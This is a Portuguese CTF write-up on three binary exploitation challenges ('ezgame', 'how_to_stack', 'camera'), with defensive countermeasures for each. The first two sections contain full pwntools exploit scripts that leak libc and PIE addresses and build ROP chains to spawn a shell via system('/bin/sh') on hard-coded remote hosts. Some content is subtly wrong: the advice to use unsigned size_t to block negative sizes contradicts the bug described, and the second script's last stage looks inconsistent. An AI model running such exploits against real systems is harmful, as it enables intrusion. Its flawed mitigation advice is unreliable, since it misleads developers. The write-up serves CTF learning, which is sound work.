Desvendando Vulnerabilidades de Segurança em Desafios Binários
Neste artigo, exploraremos a análise e exploração de vulnerabilidades em três desafios binários típicos de competições de Capture The Flag (CTF). Abordaremos técnicas de exploração como estouros de buffer de pilha (stack overflows), vazamento de endereços de memória e manipulação de fluxo de execução, bem como estratégias de mitigação para cada uma delas.
Desafio 1: Jogo Simples (ezgame)
Análise de Ataque
O desafio "ezgame" apresentava uma vulnerabilidade clássica de estouro de buffer de pilha. A exploração dependia de interagir com o jogo até um ponto específico onde um buffer alocado na pilha era preenchido com entrada do usuário sem a devida verificação de limites. Ao sobreescrever o endereço de retorno na pilha, era possível injetar uma cadeia ROP (Return-Oriented Programming) para obter execução arbitrária de código.
A estratégia de ataque consistiu em duas fases:
- Vazamento do Endereço Base da Libc: Primeiramente, uma cadeia ROP foi construída para vazar um endereço de uma função da biblioteca C (libc), como
puts. Isso foi feito direcionando o controle de execução paraputs@PLTcom o endereço deputs@GOTcomo argumento. O endereço retornado porputspermitiu calcular o endereço base da libc carregada no processo. - Execução de Shell: Com o endereço base da libc, foi possível localizar a função
systeme a string"/bin/sh"dentro da libc. Uma segunda cadeia ROP foi então construída para chamarsystem("/bin/sh"), concedendo acesso a um shell.
from pwn import *
# Configuração do contexto para a arquitetura alvo
context(os='linux', arch='amd64', log_level='info')
# Carrega os binários e a biblioteca C
executavel = ELF('./pwn2')
libc = ELF('./libc-2.31.so')
# Configura a conexão (local para depuração, remota para o servidor CTF)
# p = process(executavel.path)
p = remote('39.106.48.123', 31448)
# Opcional: Anexar GDB para depuração
# gdb.attach(p)
# Interagir com o jogo para alcançar o ponto de estouro
log.info("Interagindo com o jogo para o ponto de exploração...")
for _ in range(50):
p.sendlineafter(b'>', b'2') # Escolha a opção 2 no menu
p.sendlineafter(b'?', b'1') # Escolha a opção 1 no submenu
# Sequência de opções para chegar ao "big boss" ou ao menu de nome
p.sendlineafter(b'>', b'6')
p.sendlineafter(b'>', b'1')
p.sendlineafter(b'>', b'1')
p.sendlineafter(b'>', b'1')
p.sendlineafter(b'>', b'1')
p.sendlineafter(b'>', b'1')
p.sendlineafter(b'>', b'1')
p.sendlineafter(b'>', b'2')
p.sendlineafter(b'>', b'2')
p.sendlineafter(b'>', b'2')
p.sendlineafter(b'>', b'2')
p.sendlineafter(b'>', b'2')
p.sendlineafter(b'>', b'2')
p.sendlineafter(b'>', b'2')
p.sendlineafter(b'>', b'3')
p.sendlineafter(b'>', b'2')
p.sendlineafter(b'?', b'2') # Opção que leva ao estouro de buffer
# Gadget ROP: pop rdi; ret
POP_RDI_GADGET = 0x0000000000401a3b # Endereço de um "pop rdi; ret" no executável
RET_GADGET = 0x0000000000401016 # Endereço de um "ret" simples para alinhamento da pilha
# Primeiro payload para vazar o endereço de puts da GOT
# O padding 'A'*0x658 é para alcançar o endereço de retorno na pilha
payload_leak = b'A'*0x658
payload_leak += p64(POP_RDI_GADGET)
payload_leak += p64(executavel.got['puts']) # Argumento para puts (puts@GOT)
payload_leak += p64(executavel.plt['puts']) # Chama puts@PLT
payload_leak += p64(0x4011d2) # Retorna para o início de uma função principal para continuar a execução ou para uma parte segura do código.
p.sendlineafter(b'name', payload_leak)
# Recebe o endereço vazado de puts
p.recvuntil(b'Goodbye, ')
leaked_puts_addr = u64(p.recvuntil(b'\n')[:-1].ljust(8, b'\x00'))
log.info(f'Endereço vazado de puts: {hex(leaked_puts_addr)}')
# Calcula o endereço base da libc
libc_base = leaked_puts_addr - libc.sym['puts']
log.info(f'Endereço base da libc: {hex(libc_base)}')
# Calcula os endereços de system e /bin/sh na libc
system_addr = libc_base + libc.sym['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
log.info(f'Endereço de system: {hex(system_addr)}')
log.info(f'Endereço de /bin/sh: {hex(bin_sh_addr)}')
# Prepara para o segundo estouro de buffer para chamar system
p.sendlineafter(b'>', b'2')
p.sendlineafter(b'?', b'2')
# Segundo payload para executar system("/bin/sh")
payload_shell = b'A'*0x658
payload_shell += p64(POP_RDI_GADGET)
payload_shell += p64(bin_sh_addr) # Argumento para system (/bin/sh)
payload_shell += p64(RET_GADGET) # Alinhamento da pilha (para resolver o pop do xmmword ptr [rsp+0x30] de system)
payload_shell += p64(system_addr) # Chama system
p.sendlineafter(b'name', payload_shell)
# Interage com o shell
p.interactive()
Contramedidas de Defesa
Para mitigar a vulnerabilidade de estouro de buffer de pilha, as seguintes ações são recomendadas:
- Validação de Entrada: Sempre valide o tamanho das entradas do usuário antes de copiá-las para buffers. Funções como
strncpycom um tamanho máximo definido oufgetscom um buffer limitado são mais seguras do quegetsoureadsem controle de tamanho. - Proteção de Pilha (Stack Canaries): Compiladores modernos podem inserir "canaries" (valores sentinela) na pilha. Se um estouro de buffer ocorrer e sobreescrever o canary, o programa detectará a corrupção e abortará antes que o controle possa ser sequestrado.
- ASLR (Address Space Layout Randomization): A randomização do layout do espaço de endereçamento dificulta a previsão de endereços de funções e bibliotecas, como a libc, tornando os ataques ROP mais complexos sem um vazamento de endereço.
- Execução de No-Execute (NX): A pilha deve ser marcada como não executável, impedindo a execução direta de shellcode injetado. Isso força os atacantes a usar ROP.
No contexto deste desafio, a adição de verificações de limites para o nome do jogador no momento da entrada teria prevenido o estouro. Adicionalmente, restrições mais rigorosas no uso de chamadas de sistema como execve (por exemplo, via seccomp) poderiam dificultar a obtenção de um shell, mesmo após o controle de execução.
Desafio 2: Como Empilhar (how_to_stack)
Aálise de Ataque
Este desafio explorou uma lógica de criptografia/descriptografia falha que permitia a leitura de memória arbitrária da pilha e do executável, levando a um ataque ret2libc completo.
A vulnerabilidade residia na forma como o tamanho dos dados a serem processados era tratado. Era possível fornecer um valor negativo (-1) como tamanho de entrada, o que, em contextos de tipos inteiros sem sinal, resultava em um valor muito grande. Isso permitia que a função de leitura acessasse uma região de memória além do buffer pretendido.
O ataque seguiu estes passos:
- Vazamento do Endereço da Pilha: Ao fornecer
-1como tamanho de entrada, foi possível ler dados arbitrários da pilha, incluindo um endereço que apontava para a própria pilha, revelando assim sua localização. - Vazamento do Endereço Base PIE: Com o endereço da pilha conhecido, foi possível ajustar o offset para vazar um endereço de retorno de uma função no executável. Este endereço permitiu calcular o endereço base do executável quando o PIE (Position-Independent Executable) estava habilitado.
- Vazamento da Libc e Execução de Shell: Com os endereços da pilha e PIE, o atacante construiu uma cadeia ROP para vazar um endereço de
putsda GOT (Global Offset Table) e, consequentemente, o endereço base da libc. Finalmente, uma cadeia ROP foi criada para chamarsystem("/bin/sh").
from pwn import *
# Configuração do contexto
context(os='linux', arch='amd64', log_level='info')
# Carrega os binários e a biblioteca C
executavel = ELF('./pwn2') # Assumindo que o binário é o mesmo ou similar ao anterior para testes
libc = ELF('./libc.so.6')
# Configura a conexão
# p = process(executavel.path)
p = remote('47.94.85.181', 41463)
# Opcional: Anexar GDB
# gdb.attach(p)
# Gadget ROP: pop rdi; ret
POP_RDI_GADGET_OFFSET = 0x19d3 # Offset para pop rdi; ret no binário
RET_GADGET_OFFSET = 0x101a # Offset para um ret simples no binário
log.info("Iniciando fase de vazamento de endereços...")
# Fase 1: Vazamento do endereço da pilha
p.sendline(b'1') # Opção para "criptografar" ou manipular dados
p.sendline(b'-1') # Fornece -1 como tamanho, resultando em um grande valor sem sinal
p.sendafter(b'Data', b'A'*0x67) # Padding para alcançar um endereço da pilha
p.recvuntil(b'hex: ')
hex_data = p.recvuntil(b'\n')[:-1].decode()
byte_data = b''.join([p8(int(x, 16)) for x in hex_data.split(' ')])
# Extrai o endereço da pilha (os últimos 6 bytes, assumindo 0x00 no início)
stack_addr_leaked = u64(byte_data[-6:].ljust(8, b'\x00'))
log.info(f'Endereço vazado da pilha: {hex(stack_addr_leaked)}')
# Fase 2: Vazamento do endereço base PIE
p.sendline(b'0') # Opção para "descriptografar" ou manipular dados
p.sendline(b'-1') # Novamente -1 para tamanho
# O payload é construído para escrever no endereço da pilha e depois no endereço do return address
# É crucial ajustar os offsets para vazar o return address de uma função no binário
payload_pie_leak = b'A'*0x68 # Padding para controlar um ponteiro de dados
payload_pie_leak += p64(stack_addr_leaked - 0x8) # Escreve no retorno da função atual para vazar o PIE
p.sendafter(b'Data', payload_pie_leak)
p.recvuntil(b'hex: ')
hex_data_pie = p.recvuntil(b'\n')[:-1].decode()
byte_data_pie = b''.join([p8(int(x, 16)) for x in hex_data_pie.split(' ')])
# Extrai o endereço do retorno de função no binário para calcular o PIE
return_addr_leaked = u64(byte_data_pie[-6:].ljust(8, b'\x00'))
pie_base = return_addr_leaked - 0x16af # Offset do endereço vazado para a base do PIE
log.info(f'Endereço vazado de retorno: {hex(return_addr_leaked)}')
log.info(f'Endereço base PIE: {hex(pie_base)}')
# Atualiza os gadgets ROP com o offset PIE
pop_rdi = pie_base + POP_RDI_GADGET_OFFSET
ret_gadget = pie_base + RET_GADGET_OFFSET
puts_plt = pie_base + executavel.plt['puts']
puts_got = pie_base + executavel.got['puts']
entry_point = pie_base + 0x16af # Um ponto seguro para retornar no binário após o vazamento
# Fase 3: Vazamento da Libc e Execução de Shell
p.sendline(b'0') # Opção "descriptografar"
p.sendline(b'-1') # Novamente -1 para tamanho
# Payload para vazar puts da GOT
rop_chain_leak_libc = p64(pop_rdi)
rop_chain_leak_libc += p64(puts_got)
rop_chain_leak_libc += p64(puts_plt)
rop_chain_leak_libc += p64(entry_point) # Retorna para um ponto controlável no binário
# O payload completo é construído para sobrescrever o retorno da função e injetar a ROP chain
# O offset para o return address deve ser calculado com base na estrutura da pilha
# Aqui, assumimos que o payload direto vai para o buffer de nome, e o return address é depois dele.
# O controle de 'stack_addr_leaked' é para onde o ponteiro interno 's' aponta.
payload_final_leak = b'A'*0x68
payload_final_leak += p64(stack_addr_leaked + 0x8) # Ajuste para o endereço de retorno
payload_final_leak += rop_chain_leak_libc
p.sendafter(b'Data', payload_final_leak)
p.recvuntil(b'\n\n') # Ignorar saídas anteriores
leaked_libc_puts = u64(p.recvuntil(b'\n')[:-1].ljust(8, b'\x00'))
log.info(f'Endereço vazado de puts (libc): {hex(leaked_libc_puts)}')
libc_base = leaked_libc_puts - libc.sym['puts']
log.info(f'Endereço base da libc: {hex(libc_base)}')
system_addr = libc_base + libc.sym['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
log.info(f'Endereço de system: {hex(system_addr)}')
log.info(f'Endereço de /bin/sh: {hex(bin_sh_addr)}')
# Final ROP chain para /bin/sh
rop_chain_shell = p64(pop_rdi)
rop_chain_shell += p64(bin_sh_addr)
rop_chain_shell += p64(ret_gadget) # Alinhamento da pilha
rop_chain_shell += p64(system_addr)
# Envia o payload final para obter shell
p.sendline(b'-1')
p.sendafter(b'Data', payload_final_leak[:-len(rop_chain_leak_libc)] + rop_chain_shell)
# Interage com o shell
p.interactive()
Contramedidas de Defesa
A principal falha neste desafio estava no tratamento do tamanho da entrada do usuário. Para evitar essa vulnerabilidade:
- Validação de Tamanho Explícita: Certifique-se de que qualquer valor que determine o tamanho de um buffer de leitura ou escrita seja explicitamente validado para estar dentro dos limites seguros e positivos. Nunca use entradas diretas do usuário para alocar ou limitar buffers sem sanitização.
- Uso de Tipos de Dados Corretos: Utilize tipos de dados sem sinal (como
size_tem C/C++) para representar tamanhos de buffers, pois eles naturalmente previnem o uso de valores negativos que podem ser interpretados como grandes inteiros positivos. - Funções de Leitura Seguras: Sempre use funções de leitura que permitem especificar um tamanho máximo para prevenir estouros de buffer, como
read(fd, buffer, MAX_SIZE)oufgets(buffer, MAX_SIZE, stdin), e garanta queMAX_SIZEseja um valor fixo e seguro.
A correção para este desafio seria garantir que a variável nbytes, que controlava o tamanho da operação de read, fosse sempre um valor seguro, por exemplo, fixando-a em 0x60 ou validando-a para que não excedesse esse limite, mesmo se o usuário inserisse -1.
Desafio 3: Câmera (camera)
Contramedidas de Defesa
O desafio "camera" focou principalmente em uma vulnerabilidade de vazamento de informações através de uma função printf insegura, comum em explorações de heap ou vazamento de libc. Quando printf é usada com uma string de formato controlada pelo usuário, ou sem argumentos suficientes para os especificadores de formato na string, ela pode vazar endereços de pilha, registradores ou até mesmo endereços da libc.
Para mitigar essa vulnerabilidade:
- Evitar Strings de Formato Inseguras: Nunca use strings de formato fornecidas diretamente pelo usuário em funções como
printf. Se a string contiver caracteres de formato (%s,%x, etc.), o atacante pode manipulá-los para vazar informações ou até mesmo escrever em endereços arbitrários da memória. - Substituir
printfpor Funções Seguras: Quando a intenção é apenas imprimir uma string literal, é mais seguro usar funções que não interpretam especificadores de formato. A funçãowriteé uma alternativa robusta e direta para imprimir bytes para um descritor de arquivo.
A solução de defesa proposta envolveu substituir a chamada insegura a printf por uma função customizada que utiliza write. Um exemplo dessa função segura seria:
__int64 __fastcall print_safe_string(const char *input_string)
{
int string_length; // [rsp+1Ch] [rbp-4h]
string_length = strlen(input_string); // Calcula o comprimento da string
write(1, input_string, string_length); // Escreve a string diretamente para stdout (fd 1)
return 1LL; // Retorna um valor de sucesso
}
Ao substituir todas as instâncias de printf(format_string) por print_safe_string(format_string) (ou printf("%s", format_string), que é mais seguro mas ainda usa printf), a vulnerabilidade de vazamento de informações através da string de formato é eliminada.